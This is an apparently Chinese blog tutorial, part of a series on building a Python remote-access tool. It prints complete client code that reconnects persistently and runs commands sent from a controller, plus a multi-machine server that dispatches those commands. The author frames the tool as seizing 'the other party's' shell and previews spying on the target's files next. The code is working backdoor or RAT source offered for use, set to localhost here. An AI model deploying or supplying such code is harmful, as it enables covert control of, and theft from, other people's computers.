python远控

上一篇文章呢,详细的交大家如何去写远控的核心,没有看的小伙伴可以点击括号里面的内容传送过去看一看(python远控

这一篇文章我们接着完成上一篇的代码,功能代码,就简单的写一个获取对方shell的代码(dos窗口的控制权限)

我们这边使用python打包好的subprocess这个模块,首先我们先来看一下这个模块的用法

import subprocess
shell=subprocess.Popen("ipconfig",shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
shell.wait()
STDOUT,STDERR=shell.communicate()
print(STDOUT.decode('cp936'))

这边就说两个地方,关于这个模块的详情用法大家可以自行百度,接重点大家看括号里面的第一个参数ipconfig,相信熟悉dos窗口的小伙伴应该就恍然大悟了吧,没错这就是一条指令查看我们电脑ip的,后面那个shell=True执行该命令,为false不执行,这边我就不在给大家截图了,感兴趣的小伙伴可以自己自行的去运行一下。

这个时候大家想一下我们上一片文章不是写了一个传输指令的代码,想要远程执行命令,我们是不是之需要把这个代码里面的ipconfig替换成我们远程发送过来的,然后再将执行后得到的结果传输回去,思路有了,那我们继续完善我们的代码。

#客户端
import socket
import os
import time
import subprocess
def link():#连接函数
   try:
       s=socket.socket()
       s.connect(('127.0.0.1',9999))
       tcpclie(s)
   except:
       print('断线,5秒后重新连接')
       time.sleep(5)
       link()
def tcpclie(s):#接收信息
   while True:
       try:
           data=s.recv(1024).decode('utf-8')
           if data.split('_')[0]=='cmd':#cmd命令,
               shell = subprocess.Popen(data.split('_')[1], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,stdin=subprocess.PIPE)
               shell.wait()
               STDOUT, STDERR = shell.communicate()
               s.send(STDOUT.decode('cp936').encode('utf-8'))
           elif data.split('_')[0]=='cd':
               cdmuli = data.split('_')[1]
               try:
                   os.chdir(cdmuli)
                   s.send(os.getcwd().encode('utf-8'))
               except:
                   s.send('切换失败'.encode('utf-8'))
           else:
               s.send('未知指令'.encode('utf-8'))
       except:
           s.close()
           link()
if __name__=='__main__':
    link()

服务端稍有改动

# 服务端
from socket import *
import threading
import time

s = socket(AF_INET, SOCK_STREAM)
s.bind(('127.0.0.1', 9999))
s.listen(10)
data_list = []  # 存放机器


def run():
    while True:
        clientsock, clientaddress = s.accept()
        print(clientsock)
        if clientsock not in data_list:  # 判断连接的机器是否在列表里面
            data_list.append(clientsock)  # 不在的话写入
        threading.Thread(target=tcplink, args=(clientsock,)).start()  # 开启一个线程


def tcplink(sock):  # 接收客户端发送的消息
    while True:
        try:
            recvdata = sock.recv(1024).decode('utf-8')
            print(recvdata)
        except:
            break


def post():  # 指令
    global da_data
    while True:
        try:
            time.sleep(1)
            in_data = input('请输入>>>')
            da_data = int(in_data.split('_')[2])  # 指定对应的机器第一个为0,语法为:指令_内容_机器编号,列如cmd_dir_0表示查看第一台机器的当前目录
            s = data_list[da_data]
            s.sendall(in_data.encode('utf-8'))
        except:
            print('该客户端已下线')
            data_list.pop(da_data)
            print('以移除该客户端')


if __name__ == '__main__':
    threading.Thread(target=run, args=()).start()
    threading.Thread(target=post,args = ()).start()


在客户端的代码里面我添加了一个快速换盘的指令,下面来看一下运行效果

先看cmd的效果

成功获取客户端的目录,在看下cd快速换盘

 

 

好了,下篇文章来教大家如何获取对方(让我看看你的电脑有什么好看的),本期就到这里,关注点点,下次不迷路 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值